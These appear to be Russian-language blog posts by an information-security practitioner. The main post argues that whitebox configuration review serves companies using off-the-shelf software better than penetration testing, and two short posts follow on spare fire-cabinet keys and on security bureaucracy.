Под «анализом защищенности» я буду понимать полностью открытый аудит (whitebox-тестирование), в рамках которого производится проверка конфигурации системы и сопоставление ее с соответствующими рекомендациями производителей и независимых экспертов. Принципиально здесь то, что а) аудитор располагает полнейшими сведениями о конфигурации системы, б) аудитор удовлетворяется тем, что выявил уязвимость, которая, по сути, является не чем иным, как расхождением с какой-либо «лучшей практикой», не пытается ее эксплуатировать.

Заказывая аудит, я не склонен играть в «кошки-мышки». Я заинтересован, чтобы аудитор отработал максимально эффективно, для чего логично предоставить ему максимально возможное количество информации о проверяемой системе. Аудитор работает на меня, мне выгоден сценарий whitebox-тестирования. Да и в реальной жизни надежнее полагать, что злоумышленнику известно больше, чем мы ожидаем.

Теперь немного об уязвимостях. Крайне крупно их можно подразделить на:

Уязвимости непосредственно самого ПО. Они полностью на совести разработчика и могут быть исправлены, главным образом, только им самим (выпущено исправление).
Уязвимости конфигурации. Они возникают ввиду неправильной настройки системы. В конечном итоге их можно свести к нарушению каких-либо рекомендаций кого-либо («лучших практик»).

Классическая ситуация на коммерческом предприятии, в задачи которого не входит финансирование исследований в области информационной безопасности, состоит в том, что:

Процесс установки обновлений используемых программных продуктов отстроен: обновления ставятся своевременно, в соответствии с рекомендациями производителей ПО.
Новые системы представляют собой, как правило, «коробочные» решения, разработанные известными производителями ПО, внедренные внешними подрядчиками или своими силами.

В целом, я работаю на коммерческом предприятии, и ситуация у меня ровно такая же. Производитель коробочного решения мне гарантирует, что он сделает все возможное для того, чтобы его ПО было безопасным. Для этого у него есть отработанная процедура выпуска обновлений безопасности. Причем, обычно, эксплоит «в природе» появляется позже, чем производитель моего ПО публикует advisory и выпускает заплатку. Мои доблестные ИТшники имеют настолько хорошо отлаженный процесс установки обновлений, что на момент выхода эксплоита, нужный патч уже стоит. Ну, а если эксплоит появился раньше, чем производитель моего ПО смог обнаружить у себя уязвимость (zero-day), то и здесь мировое сообщество, производители решений безопасности (например, IPS и AV, оборона должна быть эшелонированной!), да и сам производитель ПО, меня не оставят – предложат обходные/временные варианты, которые смогут значительно снизить вероятность эксплуатирования zero-day-я, пока разработчик ПО не исправит проблему. В общем, вероятность быть компрометированным из-за уязвимости «коробочного» ПО крайне мала, при условии, что я выполняю все рекомендации его производителя (а это надо делать!). Более того, на процесс повышения безопасности коробочного ПО крайне сложно влиять: я не защищусь от уязвимости никак, пока производитель не выпустит advisory. Так стоит ли мне искать такие уязвимости? Очевидно, нет. Как выйдет патч, он будет установлен, независимо от того, чьими ресурсами было произведено исследование узявимости. Итого, уязвимости непосредственно самого ПО мне искать нет необходимости.

Другое дело – уязвимости конфигурации. Есть масса причин почему вероятность их возникновения достаточно высока – от недостаточной квалификации подрядчика или «своих сил», до действительно высокой сложности выполняемых настроек. Но, в отличие от «дыр в ПО» на такие уязвимости можно самостоятельно влиять. Анализ защищенности мне здесь поможет. Кропотливо, внимательнейшим образом, провести полный анализ настроек на предмет наличия уязвимостей конфигурации. Выявленные проблемы соответствующим образом исправить. Очевидно, это сразу приведет к повышению безопасности моей системы.

Теперь поговорим об эффективности видов аудита.

Тест на проникновение способен выявить оба типа уязвимостей. Но его effectiveness достаточно низкая, поскольку:

Гарантировано не все уязвимости будут им выявлены, поскольку классический сценарий ближе к blackbox, тогда как whitebox для поиска уязвимостей конфигураци, очевидно, продуктивнее.
Уязвимости самого ПО вообще нет смысла искать, так как их обнаружение не ведет к повышению безопасности ПО, пока производитель не выпустит advisory.

Не велика и его efficiency, поскольку, мне не надо показывать «фокус» – не надо демонстрировать, что уязвимость может быть эксплуатирована, я верю написанному в advisory и так. Был показательный случай. У меня работали аудиторы, делали пентест. Отсканировали nmap-ом с флажком –v (показывать версии), узнали, что стоит уязвимый sendmail, в котором можно через переполнение буфера и получить shell пользователя root. В целом, мне этой информации достаточно: sendmail надо либо остановить (в том случае надо было делать именно так, так как он не использовался), либо обновить на неуязвимую версию. Но мы играем в пентест, а значит, мы должны довести уязвимость до эксплуатирования. Аудиторы обшарили весь интернет, но так и не нашил эксплоит для моей операционной системы (HP-UX), есть под SUN Solaris, под RedHat Linux, а под HP-UX на PA-процессоре – нет. Что ж, как я говорил, я заинтересован помогать аудиторам, - я нашел им такое же железо с такой же ОС и тем же Sendmail-ом. У них в команде был программист, который убил несколько дней на упражнения с gdb, но так и не написал эксплоит… И это эффективная трата ресурсов?

Анализ защищенности не способен выявлять уязвимости самого ПО. Да это и не надо! Зато уязвимости конфигурации по сценарию whitebox им будут выявлены очень даже хорошо. Вера в effectiveness такого аудита у меня значительно выше: скорее всего большая часть «косяков» будет успешно найдена и исправлена. С efficiency тоже все понятно – как минимум, не надо тратить время на эксплуатирование уязвимости, особенно, на написание эксплоитов.

Итого:

Если в проекте вы не разрабатываете ПО, а используете «коробочные» решения и настраиваете их – вам не нужен пентест, тщательный Анализ защищенности – ваш выбор.
Если вы разрабатываете ПО и есть возможность провести анализ кода – тщательный Анализ защищенности и code review – ваш выбор.
Если вы разрабатываете ПО и исходников нет, - тут только пентест, может, что-то выявится. Но настройки, как и прежде, лучше посмотрит Анализ защищенности.

Эффективность Анализа защищенности косвенно подтверждается рынком, - как правило, он значительно дороже, чем пентест.

PS: Перечитал написанное. Может сложиться неправильное впечатление, что пентесты не нужны как класс. Совсем нет! Просто, все хорошо к месту. Возможна ситуация, когда действительно есть задача поиграть с «черные шляпы» и «белые шляпы». Ну, например, ИТ и ИТ-безопасность у меня аутсорсятся и есть задача проверить, насколько хорошо я защищен. Логично в этой ситуации именно провести пентест на мою информационную систему, и тем самым проверить насколько мои аутсорсеры хорошо выполняют наше с ними SLA. Почему логично пентест? Потому что он а) дешевле, как следствие, быстрее, б) нагляднее, как для проверяемых ИТшников и Безопасников, так и для меня-заказчика: приближен к реальным условиям, сразу показывает неоспоримый результат, в) можно действительно остановиться после первого же успешного взлома – задача показать возможность взлома при данном уровне работы аутсорсера, найти все остальные варианты реализации взлома – уже факультативно. Подумав, можно найти и другие случаи, когда пентест – лучший выбор, но всегда перед заказом аудита обязательно внимательно проанализируйте цели этой работы, решите, что вам нужно. Не надо тут полагаться на мнение подрядчика-аудитора, - он вам продаст все, что умеет, для него - это бизнес, но никто и ничто не заменит вам вашу логику.

Пожарные щиты

noreply@blogger.com (Igor Gots) — Mon, 14 Feb 2011 07:14:00 +0000

Мы видим пожарные щиты каждый день. Они закрыты на ключ. Запасной ключ должен находится в нише, закрытой стеклом. Ключей 2.
Теперь идем к щитам. Ключей за стеклом почти везде 2.
Собираем все ключи.
Чем не DOS?

Бюрократия

noreply@blogger.com (Igor Gots) — Fri, 19 Nov 2010 14:33:00 +0000

Все мы сталкиваемся с процедурами в процессе работы. Так или иначе, все они высосаны из пальца, не смотря на то, что призваны упорядочить работу.
Почему "высосаны из пальца"? Да потому-что они не естественны!
Если какой-нить "бизнес-процесс" на ферме можно оптимизировать простым перекрикиванием через забор, то в "офисе" это требует генерации кучи документов. И все для того, чтобы в конце убедиться, что нужны дополнительные итерации.
Как Вы боретесь с этим? Где грань между бюрократией и разумным регламентированием? Как избежать формализма в части чтения талмудов по безопасности, соблюдения сотен параграфов и пометок?
Как сделать процесс обеспечения безопасности простым и понятным для сотен сотрудников?
Я начал замечать, что правильнее с человека взять бумажку, подпись, расписку, нежели просто обеспечить его работу. Это напрягает. Ведь так не должно быть! Ведь должно быть что-то в стиле "Хей, Василий, корма сегодня Дуньке дай побольше!" - "Да не вопрос, МарьВанна, щас только чай допью!"